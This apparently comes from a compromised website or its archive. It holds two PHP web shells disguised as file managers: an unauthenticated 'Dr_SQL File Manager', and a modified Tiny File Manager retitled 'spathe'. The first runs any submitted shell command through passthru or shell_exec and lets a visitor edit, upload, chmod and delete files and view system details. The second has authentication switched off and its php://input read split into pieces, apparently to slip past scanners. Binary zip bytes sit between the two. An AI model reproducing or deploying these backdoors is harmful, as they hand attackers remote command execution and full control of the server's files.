            el.style.display = el.style.display === 'block' ? 'none' : 'block';
        }
        function closePopup(id) {
            document.getElementById(id).style.display = 'none';
        }
    </script>
</head>
<body>
HTML;

// === Breadcrumb ===
function getBreadcrumb($path) {
    $parts = explode('/', trim(str_replace('\\', '/', $path), '/'));
    $build = '';
    $curr = '/';
    $html = '<a href="?">Root</a>';
    foreach ($parts as $part) {
        if ($part === '') continue;
        $curr = rtrim($curr, '/') . '/' . $part;
        $html .= ' / <a href="?d=' . urlencode($curr) . '">' . htmlspecialchars($part) . '</a>';
    }
    return $html;
}

echo '<div class="header">';
echo '<h2 style="color:#79a317; margin:0;">📁 Dr_SQL File Manager</h2>';
echo '<a href="?x=info" style="color:#79a317;">[Info]</a>';
echo '</div>';

echo '<div class="breadcrumb">' . getBreadcrumb($current_dir) . '</div>';

// === Quick Actions ===
$enc_dir = urlencode($current_dir);
echo <<<ACTIONS
<div class="actions">
    <form method="POST">
        <input type="hidden" name="action" value="mkdir">
        <input type="text" name="name" placeholder="New Folder" required>
        <button type="submit">📁 Create Dir</button>
    </form>
    <form method="POST">
        <input type="hidden" name="action" value="mkfile">
        <input type="text" name="name" placeholder="New File" required>
        <button type="submit">📄 Create File</button>
    </form>
    <form method="POST" enctype="multipart/form-data">
        <input type="hidden" name="action" value="upload">
        <input type="file" name="file" required>
        <button type="submit">⬆️ Upload</button>
    </form>
    <form method="POST" action="?x=cmd&d={$enc_dir}">
        <input type="text" name="cmd" placeholder="Command" style="width:120px;">
        <button type="submit">💻 CMD</button>
    </form>
</div>
ACTIONS;

// === File List ===
$items = [];
if ($dh = @opendir('.')) {
    while (($f = readdir($dh)) !== false) {
        if ($f === '.' || $f === '..') continue;
        $items[] = $f;
    }
    closedir($dh);
    natcasesort($items); // Natural sort (a1, a10, a2 → a1, a2, a10)
}

echo '<table>';
echo '<thead><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Owner/Group</th><th>Actions</th></tr></thead>';
echo '<tbody>';

foreach ($items as $item) {
    $path = $current_dir . DIRECTORY_SEPARATOR . $item;
    $isDir = is_dir($item);
    $size = $isDir ? '-' : number_format(filesize($item));
    $perm = substr(sprintf('%o', fileperms($item)), -4);
    $color = is_writable($item) ? 'perm-writable' : (is_readable($item) ? 'perm-readable' : 'perm-locked');

    // Owner/Group
    $owner = $group = '???';
    if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
        $o = @posix_getpwuid(@fileowner($item));
        $g = @posix_getgrgid(@filegroup($item));
        $owner = $o ? $o['name'] : '???';
        $group = $g ? $g['name'] : '???';
    }

    $enc_item = urlencode($item);
    $enc_path = urlencode($path);

    $edit_link = $isDir ? "?d={$enc_path}" : "?x=edit&f={$enc_item}";
    $name_display = htmlspecialchars($item) . ($isDir ? '/' : '');

    echo '<tr>';
    echo "<td><a href=\"{$edit_link}\">{$name_display}</a></td>";
    echo "<td>{$size}</td>";
    echo "<td><span class=\"{$color}\">{$perm}</span></td>";
    echo "<td>{$owner}:{$group}</td>";
    echo "<td>";
    
    // Actions
    if (!$isDir) {
        echo "<a href=\"?x=edit&f={$enc_item}\" class=\"btn\">Edit</a>";
    }
    
    // Rename Popup
    echo " <a href=\"javascript:togglePopup('rename_{$enc_item}')\" class=\"btn\">Rename</a>";
    echo "<div id=\"rename_{$enc_item}\" class=\"popup hidden\">";
    echo "<form method=\"POST\">";
    echo "<input type=\"hidden\" name=\"action\" value=\"rename\">";
    echo "<input type=\"hidden\" name=\"old\" value=\"{$item}\">";
    echo "<input type=\"text\" name=\"new\" value=\"{$item}\" style=\"width:120px;\">";
    echo " <button type=\"submit\">✓</button>";
    echo " <button type=\"button\" onclick=\"closePopup('rename_{$enc_item}')\">✕</button>";
    echo "</form></div>";

    // Chmod Popup
    echo " <a href=\"javascript:togglePopup('chmod_{$enc_item}')\" class=\"btn\">Chmod</a>";
    echo "<div id=\"chmod_{$enc_item}\" class=\"popup hidden\">";
    echo "<form method=\"POST\">";
    echo "<input type=\"hidden\" name=\"action\" value=\"chmod\">";
    echo "<input type=\"hidden\" name=\"path\" value=\"{$item}\">";
    echo "<input type=\"text\" name=\"mode\" value=\"{$perm}\" placeholder=\"755\" style=\"width:60px;\">";
    echo " <button type=\"submit\">✓</button>";
    echo " <button type=\"button\" onclick=\"closePopup('chmod_{$enc_item}')\">✕</button>";
    echo "</form></div>";

    // Delete
    $del_action = $isDir ? 'delete_dir' : 'delete_file';
    echo " <a href=\"?action={$del_action}&path={$enc_path}\" class=\"btn\" onclick=\"return confirm('Delete?')\">Del</a>";

    echo "</td></tr>";
}

echo '</tbody></table>';

// === Handle Special Views ===
if ($_GET['x'] === 'edit') {
    $file = urldecode($_GET['f']);
    if ($_POST['save'] === '1') {
        file_put_contents($file, $_POST['content']);
        echo '<div style="color:#79a317; margin:10px;">✅ Saved!</div>';
    }
    $content = file_exists($file) ? htmlspecialchars(file_get_contents($file)) : '';
    echo '<h3>✏️ Editing: ' . htmlspecialchars($file) . '</h3>';
    echo '<form method="POST">';
    echo '<textarea name="content" style="width:100%; height:400px; background:#222; color:#fff; padding:10px; border:1px solid #555;">' . $content . '</textarea>';
    echo '<br><input type="hidden" name="save" value="1">';
    echo '<button type="submit" style="margin-top:10px; background:#79a317; color:black; padding:8px 15px; border:none; border-radius:4px;">💾 Save</button>';
    echo ' <a href="?" style="color:#79a317;">← Back</a>';
    echo '</form>';
} elseif ($_GET['x'] === 'info') {
    // Info panel (same as before)
    $moreI = [
        'PHP Version' => phpversion(),
        'Server Software' => $_SERVER['SERVER_SOFTWARE'],
        'Uname' => php_uname(),
        'User' => get_current_user() . ' (uid:' . getmyuid() . ' gid:' . getmygid() . ')',
        'Safe Mode' => ini_get('safe_mode') ? 'ON' : 'OFF',
        'Open BaseDir' => ini_get('open_basedir') ?: 'OFF',
        'MySQL' => function_exists('mysqli_connect') ? 'ON' : 'OFF',
        'Curl' => extension_loaded('curl') ? 'ON' : 'OFF',
        'Disk Total' => @disk_total_space('/') ? round(@disk_total_space('/') / (1024**3), 2) . ' GB' : 'N/A',
        'Disk Free' => @disk_free_space('/') ? round(@disk_free_space('/') / (1024**3), 2) . ' GB' : 'N/A',
        'Your IP' => $_SERVER['REMOTE_ADDR'],
        'Server IP' => $_SERVER['SERVER_ADDR'] ?? 'N/A'
    ];
    echo '<h3>ℹ️ System Info</h3><table style="width:100%; background:#222; padding:10px;">';
    foreach ($moreI as $k => $v) {
        echo "<tr><td>{$k}</td><td>: {$v}</td></tr>";
    }
    echo '</table><br><a href="?" style="color:#79a317;">← Back</a>';
} elseif ($_GET['x'] === 'cmd') {
    if ($_POST['cmd']) {
        echo '<pre style="background:#000; color:#0f0; padding:10px; border-radius:5px;">';
        if (function_exists('passthru')) {
            @passthru($_POST['cmd']);
        } elseif (function_exists('shell_exec')) {
            echo @shell_exec($_POST['cmd']);
        } else {
            echo "Command execution not available.";
        }
        echo '</pre>';
    }
    echo '<h3>💻 Command Executor</h3>';
    echo '<form method="POST"><input type="text" name="cmd" style="width:50%; background:#222; color:#fff; padding:5px;" placeholder="ls -la">';
    echo '<button type="submit">Run</button></form>';
    echo '<br><a href="?" style="color:#79a317;">← Back</a>';
}

print '</body></html>';
?>PK�Lm\�dz�1�1�	q1gfm.phpnu�[���<?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';

define('VERSION', '3.9');

define('APP_TITLE', 'spathe');

$dauth = false;

$auth_users = array(
    'admin' => '4b605e78436204f87ad0daf2e1bef329',
    'user' => '4b605e78436204f87ad0daf2e1bef329'
);

$readonly_users = array(
    'user'
);


$global_readonly = false;

$directories_users = array();

$use_highlightjs = true;

$highlightjs_style = 'vs';

$edit_files = true;

$default_timezone = 'Etc/UTC';

$root_path = $_SERVER['DOCUMENT_ROOT'];

$root_url = '';

$http_host = $_SERVER['HTTP_HOST'];

$iconv_input_encoding = 'UTF-8';

$datetime_format = 'm/d/Y g:i A';

$path_display_mode = 'full';

$allowed_file_extensions = '';

$allowed_upload_extensions = '';

$favicon_path = '';

$exclude_items = array();

$online_viewer = 'google';

$sticky_navbar = true;

$max_upload_size_bytes = 5000000000; 

$upload_chunk_size_bytes = 2000000; 

$ip_ruleset = 'OFF';

$ip_silent = true;

$ip_whitelist = array(
    '127.0.0.1',    
    '::1'           
);

$ip_blacklist = array(
    '0.0.0.0',      
    '::'            
);

$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);


define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);


define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);


if ( !defined( 'DN_CESSION_ID')) {
    define('DN_CESSION_ID', 'filemanager');
}


$cfg = new FM_Config();


$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

if (defined('FM_EMBED')) {
    $dauth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); 
    session_name(DN_CESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
    	$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $dauth = false;
}

$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
    or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');

if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}

$root_url = fm_clean_path($root_url);

defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[DN_CESSION_ID]['logged']);
    unset( $_SESSION['token']); 
    fm_redirect(FM_SELF_URL);
}

if ($ip_ruleset != 'OFF') {
    function getClientIP() {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true and $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}


if ($dauth) {
    if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
                $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[DN_CESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[DN_CESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}


if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}

$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');


if (!isset($_GET['p']) and empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);


$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);


if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    if(isset($_POST['type']) and $_POST['type']=="search") {
        $dir = $_POST['path'] == "." ? '': $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) and $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) and $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
            fm_set_msg(sprintf($msg, fanco($del)));
        } else {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
            fm_set_msg(sprintf($msg, fanco($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
    if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
